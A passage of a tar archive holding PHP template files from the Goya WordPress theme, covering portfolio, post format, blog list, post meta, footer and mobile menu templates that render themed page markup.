'goya_portfolio_date', true); $website = get_post_meta( $id, 'goya_portfolio_website', true); ?> <?php if ( !empty($author) || !empty($date) || !empty($website['url']) ) { ?> <ul class="post-meta"> <?php if (!empty($author)) { ?> <li><?php echo esc_html__( 'Author', 'goya' ) . '<span>' . $author . '</span>'; ?></li> <?php } ?> <?php if (!empty($date)) { ?> <li><?php echo esc_html__( 'Date', 'goya' ) . '<span>' . date('F j, Y', $date) . '</span>'; ?></li> <?php } ?> <?php if (!empty($website['url'])) { ?> <li><?php echo esc_html__( 'Website', 'goya' ) . '<span><a href="' . $website['url'] . '" target="_blank">' . $website['text'] . '</a></span>'; ?></li> <?php } else if (!empty($website['text'])) { ?> <li><?php echo esc_html__( 'Website', 'goya' ) . '<span>' . $website['text'] . '</span>'; ?></li> <?php } ?> </ul> <?php } ?>����������������������������������������������������������������������������templates/portfolio/related-portfolio.php�����������������������������������������������������������0000644�����������������00000003415�15154650146�0014735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php global $post; $p_page = get_theme_mod('portfolio_page', ''); $category_navigation = get_theme_mod('portfolio_navigation', true); $portfolio_layout = 'grid'; // related items only in grid mode $columns = get_theme_mod('portfolio_columns', '4'); $alternate_cols = get_theme_mod('portfolio_alternate', true); $item_style = get_theme_mod('portfolio_item_style', 'regular'); $item_margins = get_theme_mod('portfolio_item_margin', 'regular-padding'); $animation = get_theme_mod('portfolio_animation', 'animation bottom-to-top'); $num_posts = get_option( 'posts_per_page' ); $loadmore = 'true'; $aspect = 'original'; $category_filter = false; $categories = false; $classes[] = $item_margins; $classes[] = 'row'; $classes[] = 'masonry et-loader'; $classes[] = 'variable-height'; $classes[] = 'et-portfolio'; $classes[] = 'et-portfolio-style-'.$item_style; $rand = rand(0,1000); $postId = $post->ID; $query = goya_get_posts_related_by_category($postId); ?> <?php if ($query->have_posts()) : ?> <aside class="related-posts hide-on-print et-portfolio et-portfolio-style-regular regular-padding"> <div class="container"> <h3 class="related-title"><?php esc_html_e( 'Related Items', 'goya' ); ?></h3> <div class="<?php echo esc_attr(implode(' ', $classes)); ?>" data-loadmore="#loadmore-<?php echo esc_attr($rand); ?>"> <?php while ($query->have_posts()) : $query->the_post(); ?> <?php set_query_var( 'goya_port_layout', $portfolio_layout ); set_query_var( 'goya_port_columns', $columns ); set_query_var( 'goya_port_aspect', $aspect ); set_query_var( 'goya_port_animation', $animation ); get_template_part( 'inc/templates/portfolio/' . $item_style); ?> <?php endwhile; ?> </div> </div> </aside> <?php endif; ?> <?php wp_reset_postdata(); ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/postformats/video.php���������������������������������������������������������������������0000644�����������������00000000340�15154650146�0012746 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<figure class="post-featured-section post-featured-video"> <?php $id = get_the_ID(); $embed = get_post_meta($id , 'goya_post_featured_video', true); echo apply_filters( 'goya_post_video_embed', $embed ); ?> </figure>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/postformats/standard.php������������������������������������������������������������������0000644�����������������00000002047�15154650146�0013446 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $title_class[] = 'post-featured'; $title_class[] = 'single-image'; $title_class[] = 'title-wrap'; $image_id = $image_src = ''; if ( has_post_thumbnail() ) { $image_id = get_post_thumbnail_id(); $image_url = wp_get_attachment_image_src($image_id, 'full'); $image_src = $image_url[0]; } if ( rwmb_meta( 'goya_post_featured_gallery') !== '' ) { $gallery = array(); $gallery = rwmb_meta( 'goya_post_featured_gallery', array( 'size' => 'full' ) ); if (!empty($gallery) && count($gallery) > 0) { $gallery = array_shift($gallery); $image_src = $gallery['url']; } } ?> <div class="post-featured-section"> <?php if ( $image_src != '' ) { $title_class[] = 'parallax_image'; $title_class[] = 'vh-height'; ?> <figure class="<?php echo esc_attr(implode(' ', $title_class)); ?>" style="background-image: url(<?php echo esc_url($image_src); ?>);"> <?php } else { ?> <figure class="<?php echo esc_attr(implode(' ', $title_class)); ?>" > <?php } ?> <?php get_template_part( 'inc/templates/postbit/post-title'); ?> </figure> </div>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/postformats/gallery.php�������������������������������������������������������������������0000644�����������������00000002006�15154650146�0013300 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( rwmb_meta( 'goya_post_featured_gallery') !== '' ) { $gallery = rwmb_meta( 'goya_post_featured_gallery', array( 'size' => 'full' ) ); ?> <div class="et-banner-slider slick slick-slider post-featured-section post-featured-gallery slick-dotted slick-dots-inside slick-dots-centered" data-pagination="true" data-navigation="true" data-columns="1" data-autoplay="false" data-infinite="true"> <?php foreach ( $gallery as $gallery_image ) { ?> <figure class="et-banner image-type-fluid"> <div class="et-banner-image vh-height"> <img src="<?php echo esc_attr($gallery_image['url']); ?>" alt="<?php echo esc_attr($gallery_image['caption']); ?>"> </div> <?php if ($gallery_image['caption']) { ?> <div class="et-banner-content"> <div class="et-banner-text h_left v_bottom align_left"> <div class="et-banner-text-inner" > <h4 class="et-banner-title"><?php echo esc_attr($gallery_image['caption']); ?></h4> </div> </div> </div> <?php } ?> </figure> <?php } ?> </div> <?php } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/footer/menu-footer.php��������������������������������������������������������������������0000644�����������������00000000537�15154650146�0013025 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for display footer menu * * @package Goya */ ?> <nav id="footer-bar-menu" class="footer-navigation navigation"> <?php if (has_nav_menu('footer-menu')) { ?> <?php wp_nav_menu( array( 'theme_location' => 'footer-menu', 'depth' => 1, 'container' => false, 'menu_class' => 'menu', ) ); ?> <?php } ?> </nav>�����������������������������������������������������������������������������������������������������������������������������������������������������������������templates/footer/footer-middle.php������������������������������������������������������������������0000644�����������������00000001411�15154650146�0013307 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the footer middle content * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $footer_middle = apply_filters( 'footer_extra_section', get_theme_mod('footer_middle',false) ); $middle_image = get_theme_mod( 'footer_middle_image', '' ); if ( strlen( $middle_image ) > 0 ) { $middle_image = ( is_ssl() ) ? str_replace( 'http://', 'https://', $middle_image ) : $middle_image; } if ( $footer_middle == true ) { ?> <div class="footer-middle footer-widgets"> <div class="container"> <div class="row"> <div class="col-12"> <?php echo do_shortcode( wp_kses_post( get_theme_mod('footer_middle_content','') ) ); ?> </div> </div> </div> </div> <?php } ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/footer/footer-bar.php���������������������������������������������������������������������0000644�����������������00000002327�15154650146�0012624 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the footer bottom bar * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $classes[] = ( goya_meta_config('','footer_bar_full_width',true) == true ) ? 'footer-full' : 'footer-normal'; $classes[] = get_theme_mod('footer_bar_mode', 'light'); $classes[] = 'footer-bar-border-' . get_theme_mod('footer_bar_border', false); $classes[] = 'custom-color-'.get_theme_mod('footer_bar_custom', false); $groups = array( 'left' => goya_meta_config('','footer_main_left', array( array( 'item' => 'copyright' )) ), 'center' => goya_meta_config('','footer_main_center', array() ), 'right' => goya_meta_config('','footer_main_right', array() ), ); ?> <div id="footer-bar" class="footer-bar footer-main <?php echo esc_attr(implode(' ', $classes)); ?>"> <div class="container"> <?php foreach ( $groups as $group => $items ) : ?> <div class="footer-items footer-<?php echo esc_attr( $group ); ?>"> <?php foreach ( $items as $item ) { $item['item'] = $item['item'] ? $item['item'] : key( goya_footer_elements_list() ); goya_footer_elements( $item['item'] ); } ?> </div> <?php endforeach; ?> </div> </div>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/footer/footer-widgets.php�����������������������������������������������������������������0000644�����������������00000001316�15154650146�0013523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the footer widgets * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $columns = get_theme_mod('footer_widgets_columns', 3); $classes[] = 'footer-widgets'; $classes[] = ( get_theme_mod('footer_toggle_widgets', false) == true ) ? 'footer-toggle-widgets' : ''; $is_active = 0; for ($i = 1; $i <= $columns ; $i++) { if ( is_active_sidebar( 'footer' . $i ) ) { $is_active = 1; } } if ( $is_active == 1 ) : ?> <div class="<?php echo esc_attr(implode(' ', $classes)); ?>"> <div class="container"> <div class="row"> <?php do_action('goya_footer_columns'); ?> </div> </div> </div> <?php endif; ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/not-found.php�����������������������������������������������������������������������������0000644�����������������00000000730�15154650146�0011173 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<div class="row results-not-found"> <div class="col-12"> <?php if ( is_search() ) : ?> <h4 class="alert-error"><?php esc_html_e( 'Sorry, but nothing matched your search terms.', 'goya' ); ?></h4> <p><?php esc_html_e( 'Please try again with some different keywords.', 'goya' ); ?></p> <?php get_search_form(); ?> <?php else : ?> <h4><?php esc_html_e( 'It seems we can\'t find what you\'re looking for.', 'goya' ); ?></h4> <?php endif; ?> </div> </div>����������������������������������������templates/blogbit/cards.php�������������������������������������������������������������������������0000644�����������������00000002601�15154650146�0011777 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Column classes $columns_large = get_theme_mod('blog_grid_columns', 3); $columns_medium = ( intval( $columns_large ) > 3 ) ? '3' : '2'; if (is_sticky(get_the_ID()) ) { $base_grid = '24'; $img_size = 'full'; } else { $base_grid = '12'; $img_size = 'medium_large'; } $classes[] = 'col-md-' . $base_grid / $columns_medium; $classes[] = 'col-lg-' . $base_grid / $columns_large; $classes[] = 'post post-cards item blog-post'; $inner_classes[] = 'overlay-inner'; $inner_classes[] = get_theme_mod('blog_list_animation', 'animation bottom-to-top'); ?> <div <?php post_class(esc_attr(implode(' ', $classes))); ?>> <div class="<?php echo esc_attr(implode(' ', $inner_classes)); ?>"> <figure class="post-gallery"> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"> <?php goya_post_format_icon( get_the_ID() ); ?> <?php if ( has_post_thumbnail() ) : ?> <?php the_post_thumbnail($img_size); ?> <?php endif; ?> </a> </figure> <header class="post-title entry-header"> <?php if ( get_theme_mod('blog_category', true) == true ) the_category(); ?> <?php the_title('<h3 class="entry-title" itemprop="name headline"><a class="entry-link" href="'.get_permalink().'" title="'.the_title_attribute("echo=0").'">', '</a></h3>'); ?> <?php get_template_part( 'inc/templates/postbit/post-meta' ); ?> </header> </div> </div> �������������������������������������������������������������������������������������������������������������������������������templates/blogbit/grid.php��������������������������������������������������������������������������0000644�����������������00000002562�15154650146�0011636 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php add_filter( 'excerpt_length', 'goya_short_excerpt_length' ); // Column classes $columns_large = get_theme_mod('blog_grid_columns', 3); $columns_medium = ( intval( $columns_large ) > 3 ) ? '3' : '2'; $base_grid = '12'; $img_size = 'medium_large'; $classes[] = 'col-md-' . $base_grid / $columns_medium; $classes[] = 'col-lg-' . $base_grid / $columns_large; $classes[] = 'post post-grid blog-post'; $inner_classes[] = get_theme_mod('blog_list_animation', 'animation bottom-to-top'); ?> <div <?php post_class(esc_attr(implode(' ', $classes))); ?>> <div class="<?php echo esc_attr(implode(' ', $inner_classes)); ?>"> <?php if ( has_post_thumbnail() ) : ?> <figure class="post-gallery"> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"> <?php goya_post_format_icon( get_the_ID() ); ?> <?php the_post_thumbnail($img_size); ?> </a> </figure> <?php endif; ?> <?php if ( get_theme_mod('blog_category', true) == true ) the_category(); ?> <header class="post-title entry-header"> <?php the_title('<h3 class="entry-title" itemprop="name headline"><a class="entry-link" href="'.get_permalink().'" title="'.the_title_attribute("echo=0").'">', '</a></h3>'); ?> </header> <?php get_template_part( 'inc/templates/postbit/post-meta' ); ?> <div class="post-content"> <?php the_excerpt(); ?> </div> </div> </div>����������������������������������������������������������������������������������������������������������������������������������������������templates/blogbit/list.php��������������������������������������������������������������������������0000644�����������������00000002613�15154650146�0011661 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php add_filter( 'excerpt_length', 'goya_short_excerpt_length' ); if (is_sticky(get_the_ID()) ) { $class = 'col-lg-12'; $class2 = 'col-lg-12'; $img_size = 'full'; } else { $class = 'col-lg-5'; $class2 = 'col-lg-6'; $img_size = 'medium_large'; } $classes[] = 'post post-list blog-post'; $classes[] = get_theme_mod('blog_list_animation', 'animation bottom-to-top'); ?> <div <?php post_class(esc_attr(implode(' ', $classes))); ?>> <div class="row"> <div class="<?php echo esc_attr($class); ?>"> <?php if ( has_post_thumbnail() ) : ?> <figure class="post-gallery"> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"> <?php goya_post_format_icon( get_the_ID() ); ?> <?php the_post_thumbnail($img_size); ?> </a> </figure> <?php endif; ?> </div> <div class="<?php echo esc_attr($class2); ?> post-list-excerpt"> <div class="inner"> <?php if ( get_theme_mod('blog_category', true) == true ) the_category(); ?> <header class="post-title entry-header"> <?php the_title('<h3 class="entry-title" itemprop="name headline"><a class="entry-link" href="'.get_permalink().'" title="'.the_title_attribute("echo=0").'">', '</a></h3>'); ?> </header> <?php get_template_part( 'inc/templates/postbit/post-meta' ); ?> <div class="post-content"> <?php the_excerpt(); ?> </div> </div> </div> </div> </div>���������������������������������������������������������������������������������������������������������������������templates/blogbit/classic.php�����������������������������������������������������������������������0000644�����������������00000003512�15154650146�0012326 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $title_inside = ( goya_meta_config('blog','title_overlay', false ) == true ) ? ' post-blog-card' : false; $classes[] = 'post post-classic blog-post'; $classes[] = $title_inside; $inner_classes[] = get_theme_mod('blog_list_animation', 'animation bottom-to-top'); ?> <div <?php post_class(esc_attr(implode(' ', $classes))); ?>> <div class="<?php echo esc_attr(implode(' ', $inner_classes)); ?>"> <?php if( $title_inside == false ) : ?> <header class="post-title entry-header"> <div class="row justify-content-center"> <div class="col-lg-8"> <?php if ( get_theme_mod('blog_category', true) == true ) the_category(); ?> <?php the_title('<h3 class="entry-title" itemprop="name headline"><a class="entry-link" href="'.get_permalink().'" title="'.the_title_attribute("echo=0").'">', '</a></h3>'); ?> <?php get_template_part( 'inc/templates/postbit/post-meta' ); ?> </div> </div> </header> <?php endif ?> <?php if ( has_post_thumbnail() ) : ?> <figure class="post-gallery"> <?php if( $title_inside == true ) : ?> <header class="post-title entry-header"> <?php if ( get_theme_mod('blog_category', true) == true ) the_category(); ?> <?php the_title('<h3 class="entry-title" itemprop="name headline"><a href="'.get_permalink().'" title="'.the_title_attribute("echo=0").'">', '</a></h3>'); ?> <?php get_template_part( 'inc/templates/postbit/post-meta' ); ?> </header> <?php endif ?> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"> <?php goya_post_format_icon( get_the_ID() ); ?> <?php the_post_thumbnail('full'); ?> </a> </figure> <?php endif; ?> <div class="row justify-content-center"> <div class="col-lg-8"> <div class="post-content"> <?php the_excerpt(); ?> </div> </div> </div> </div> </div> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/blogbit/masonry.php�����������������������������������������������������������������������0000644�����������������00000002726�15154650146�0012403 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php add_filter( 'excerpt_length', 'goya_short_excerpt_length' ); // Column classes $columns_large = get_theme_mod('blog_grid_columns', 3); $columns_medium = ( intval( $columns_large ) > 3 ) ? '3' : '2'; if (is_sticky(get_the_ID()) ) { $base_grid = '24'; $img_size = 'full'; } else { $base_grid = '12'; $img_size = 'medium_large'; } $classes[] = 'col-md-' . $base_grid / $columns_medium; $classes[] = 'col-lg-' . $base_grid / $columns_large; $classes[] = 'post post-masonry item blog-post'; $inner_classes[] = get_theme_mod('blog_list_animation', 'animation bottom-to-top'); ?> <div <?php post_class(esc_attr(implode(' ', $classes))); ?>> <div class="<?php echo esc_attr(implode(' ', $inner_classes)); ?>"> <?php if ( has_post_thumbnail() ) : ?> <figure class="post-gallery"> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"> <?php goya_post_format_icon( get_the_ID() ); ?> <?php the_post_thumbnail($img_size); ?> </a> </figure> <?php endif; ?> <?php if ( get_theme_mod('blog_category', true) == true ) the_category(); ?> <header class="post-title entry-header"> <?php the_title('<h3 class="entry-title" itemprop="name headline"><a class="entry-link" href="'.get_permalink().'" title="'.the_title_attribute("echo=0").'">', '</a></h3>'); ?> </header> <?php get_template_part( 'inc/templates/postbit/post-meta' ); ?> <div class="post-content"> <?php the_excerpt(); ?> </div> </div> </div> ������������������������������������������templates/postbit/post-tags.php���������������������������������������������������������������������0000644�����������������00000000542�15154650146�0012670 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the post tags * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ ?> <div class="article-tags"> <?php $tag_list = get_the_tag_list( '', ', ' ); if ( $tag_list ) { echo esc_html__( 'Tags:', 'goya' ) . ' ' . $tag_list . ''; } ?> </div>��������������������������������������������������������������������������������������������������������������������������������������������������������������templates/postbit/post-related.php������������������������������������������������������������������0000644�����������������00000003273�15154650146�0013356 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the related posts * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ global $post; $postId = $post->ID; $query = goya_get_posts_related_by_category($postId); $columns = 12 / get_theme_mod('single_post_related_columns', 3); ?> <?php if ($query->have_posts()) : ?> <aside class="related-posts cf hide-on-print"> <div class="container"> <h3 class="related-title"><?php esc_html_e( 'Related Posts', 'goya' ); ?></h3> <div class="row"> <?php while ($query->have_posts()) : $query->the_post(); ?> <div class="col-12 col-md-6 col-lg-<?php echo esc_attr( $columns ); ?>"> <div <?php post_class('post post-grid'); ?> id="post-<?php the_ID(); ?>"> <?php if ( has_post_thumbnail() ) { ?> <figure class="post-gallery"> <a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_post_thumbnail('medium_large'); ?></a> </figure> <?php } ?> <?php if ( get_theme_mod('blog_category', true) == true ) the_category(); ?> <header class="post-title entry-header"> <?php the_title( sprintf( '<h3 class="entry-title" itemprop="name headline"><a class="entry-link" href="%s" rel="bookmark" title="%s">', esc_url( get_permalink() ), esc_html(get_the_title()) ), '</a></h3>' ); ?> </header> <?php get_template_part( 'inc/templates/postbit/post-meta' ); ?> <div class="post-content"> <?php echo goya_excerpt(100, '…'); ?> </div> </div> </div> <?php endwhile; ?> </div> </div> </aside> <?php endif; ?> <?php wp_reset_postdata(); ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/postbit/post-article.php������������������������������������������������������������������0000644�����������������00000012465�15154650146�0013364 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the post content * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $post_id = get_the_ID(); $feat_gallery = goya_meta_config('post','featured_image','below'); $transparent_header = goya_meta_config('post','transparent_header',false); $hero_title = goya_meta_config('blog','hero_title',false); $nav_style = goya_meta_config('post','navigation','simple'); $post_sidebar = goya_meta_config('post','sidebar',true); if ( $post_sidebar == true && is_active_sidebar( 'single' ) ) { $class[] = 'sidebar-enabled'; } else { $class[] = 'sidebar-disabled'; } $class[] = 'post post-detail'; // Show sidebar? $class[] = ( $post_sidebar == true && is_active_sidebar( 'single' ) ) ? 'sidebar-enabled': 'sidebar-disabled'; $class[] = ( ($hero_title == true && $feat_gallery == 'regular') || $feat_gallery == 'parallax' ) ? 'hero-title': 'regular-title'; // Featured image on header $class[] = $feat_gallery; $class[] = ( $feat_gallery == 'parallax' ) ? 'featured-gallery': ''; $class[] = ( $feat_gallery == 'parallax' || ( $feat_gallery == 'parallax' && $hero_title == true ) ) ? 'header-parallax': 'header-normal'; // WP Gallery custom lightbox if ( get_theme_mod('wp_gallery_popup', false) == true ) $class[] = 'gallery-popup'; $title_class[] = 'post-featured'; if ( $transparent_header == true && ( ($hero_title == true && $feat_gallery == 'regular') || $feat_gallery == 'parallax' ) ) { $class[] = 'page-transparent'; } else { $class[] = 'page-padding'; } // Post Format $format = get_post_format(); $video = get_post_meta($post_id , 'goya_post_featured_video', true); $gallery = rwmb_meta( 'goya_post_featured_gallery', array( 'size' => 'full' ) ); if ( $format == 'gallery' && !empty($gallery) && count($gallery) > 0 ) { $format = 'gallery'; } else if ( $format == 'video' && $video !== '' ) { $format = 'video'; } else if ( $format == 'image' ) { $format = 'image'; } else { $format = 'standard'; } ?> <div <?php post_class($class); ?>> <?php if ( $feat_gallery == 'parallax' ) { if (in_array($format, array('gallery', 'video'))) { get_template_part( 'inc/templates/postformats/'.$format ); } else { get_template_part( 'inc/templates/postformats/standard' ); } } if ( $feat_gallery != 'parallax' || ( $feat_gallery == 'parallax' && in_array($format, array('gallery', 'video')) ) ) { if ( $feat_gallery != 'parallax' ) { $title_class[] = 'title-wrap'; } ?> <div class="<?php echo esc_attr(implode(' ', $title_class)); ?>"> <?php get_template_part( 'inc/templates/postbit/post-title'); ?> </div> <?php } ?> <div class="container article-body"> <div class="row justify-content-md-center"> <div class="col-lg-8 main-content"> <div class="post-content entry-content"> <?php if ( $feat_gallery == 'below' && ( in_array($format, array('gallery', 'video')) || has_post_thumbnail() ) ) { ?> <div class="featured-media alignwide"> <?php if (in_array($format, array('gallery', 'video'))) { get_template_part( 'inc/templates/postformats/'.$format ); } else if ( has_post_thumbnail() ) { the_post_thumbnail('full'); } ?> </div> <?php } ?> <?php the_content(); ?> </div> <?php wp_link_pages( array( 'before' => '<nav class="post-nav-links bg-light-background" aria-label="' . esc_attr__( 'Page', 'goya' ) . '"><span class="label">' . esc_html__( 'Pages:', 'goya' ) . '</span>', 'after' => '</nav>', 'link_before' => '<span class="page-number">', 'link_after' => '</span>', ) ); ?> <?php if (get_theme_mod('post_meta_bar', true) == true) { ?> <?php $has_meta = false; $meta_output = ''; $categories_list = get_the_category_list( ', ' ); $tag_list = get_the_tag_list( '', ', ' ); if ( $categories_list || $tag_list) { ?> <div class="single-post-meta"> <?php if ( $categories_list ) { echo '<span class="posted_in"><span>' . esc_html__( 'Posted in:', 'goya' ) . '</span>' . $categories_list . '</span>'; } if ( $tag_list ) { echo '<span class="tagged_as"><span>' . esc_html__( 'Tagged:', 'goya' ) . '</span>' . $tag_list . '</span>'; } ?> </div> <?php } ?> <?php } ?> <?php if (get_theme_mod('post_author', false) == true) { ?> <?php do_action('goya_author_info'); ?> <?php } ?> <?php do_action( 'goya_social_share' ); ?> <?php if ( $post_sidebar == true && is_active_sidebar( 'single' ) ) { ?> <?php if ( $nav_style != '' ) { do_action('goya_post_navigation'); } ?> <?php if ( comments_open() || get_comments_number() ) { comments_template('', true); } ?> <?php if ( get_theme_mod('single_post_related', true) == true ) { get_template_part( 'inc/templates/postbit/post-related'); } ?> <?php } ?> </div> <?php if ( $post_sidebar == true && is_active_sidebar( 'single' ) ) { get_sidebar('single'); } ?> </div> </div> <?php if ( $post_sidebar != true || !is_active_sidebar( 'single' ) ) { ?> <?php if ( $nav_style != '' ) { do_action('goya_post_navigation'); } ?> <?php if ( comments_open() || get_comments_number() ) { comments_template('', true); } ?> <?php } ?> </div> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/postbit/post-meta-single.php��������������������������������������������������������������0000644�����������������00000000725�15154650146�0014142 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the meta on single posts * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ ?> <aside class="post-meta"> <span class="post-author"><?php esc_html_e('By', 'goya'); ?> <?php the_author_posts_link(); ?> <?php esc_html_e( 'on', 'goya' ); ?></span> <time class="time" datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"><?php the_date(); ?></time> </aside>�������������������������������������������templates/postbit/post-title.php��������������������������������������������������������������������0000644�����������������00000001731�15154650146�0013054 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the post title * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $format = get_post_format(); $feat_gallery = goya_meta_config('post','featured_image','below'); $title_class = 'title_outer'; $post_sidebar = goya_meta_config('post','sidebar',true); if ( $post_sidebar == true && is_active_sidebar( 'single' ) ) { $title_width = 'col-lg-12'; } else { $title_width = 'col-lg-8'; } ?> <header class="post-title entry-header container"> <div class="row justify-content-md-center"> <div class="<?php echo esc_attr( $title_width ); ?>"> <div class="<?php echo esc_attr( $title_class ); ?>"> <div class="single-post-categories"> <?php the_category(); ?> </div> <?php the_title('<h1 class="entry-title" itemprop="name headline">', '</h1>'); ?> <?php get_template_part( 'inc/templates/postbit/post-meta-single'); ?> </div> </div> </div> </header>���������������������������������������templates/postbit/post-meta.php���������������������������������������������������������������������0000644�����������������00000001474�15154650146�0012665 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the post meta * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $blog_author = get_theme_mod('blog_author', false); $blog_date = get_theme_mod('blog_date', true); if ($blog_author == true || $blog_date == true) { ?> <aside class="post-meta"> <?php if ($blog_author == true) { ?> <span class="post-author"><?php esc_html_e('By', 'goya'); ?> <?php the_author_posts_link(); ?></span> <?php esc_html_e( 'on', 'goya' ); ?> <?php } ?> <?php if ($blog_date == true) { ?> <a href="<?php esc_url( the_permalink() ); ?>" class="date-link"><time class="time" datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"><?php the_time( get_option( 'date_format' ) ); ?></time></a> <?php } ?> </aside> <?php } ?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header/mobile-menu.php��������������������������������������������������������������������0000644�����������������00000004100�15154650146�0012716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the mobile menu * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $menu_type = get_theme_mod('mobile_menu_type', 'sliding'); $menu_mode = ( get_theme_mod('menu_mobile_mode', 'light') == 'dark' ) ? 'dark' : 'light'; $menu_style = apply_filters( 'goya_menu_style', $menu_mode ); $classes[] = $menu_style; $classes[] = (get_theme_mod('vertical_bar',true) == true) ? 'has-bar' : 'no-bar'; if (get_theme_mod('menu_fullscreen_override',false) == true) { $classes[] = 'desktop-active'; $classes[] = (get_theme_mod('menu_fullscreen_account', false) == false ) ? 'hide-desktop-account' : ''; $classes[] = (get_theme_mod('menu_fullscreen_currency', true) == false ) ? 'hide-desktop-currency' : ''; $classes[] = (get_theme_mod('menu_fullscreen_language', true) == false ) ? 'hide-desktop-language' : ''; $classes[] = (get_theme_mod('menu_fullscreen_social', true) == false ) ? 'hide-desktop-social' : ''; } ?> <nav id="mobile-menu" class="side-panel side-menu side-mobile-menu <?php echo esc_attr(implode(' ', $classes)); ?>"> <?php do_action( 'goya_vertical_panel_bar' ); ?> <div class="side-panel-content side-panel-mobile custom_scroll"> <div class="container"> <div class="mobile-top-extras"> <?php do_action( 'goya_before_mobile_menu' ); ?> </div> <?php if (get_theme_mod('menu_mobile_search', true) == true ) { ?> <div class="side-panel search-panel mobile-search"> <?php goya_search_box(); ?> </div> <?php } ?> <?php $has_menu = goya_load_menu_location('mobile-menu'); if( $has_menu) { wp_nav_menu( array( 'theme_location' => $has_menu, 'container' => 'div', 'container_id' => 'mobile-menu-container', 'menu_class' => 'mobile-menu small-menu menu-'. $menu_type, 'after' => '<span class="et-menu-toggle"></span>', ) ); } else { 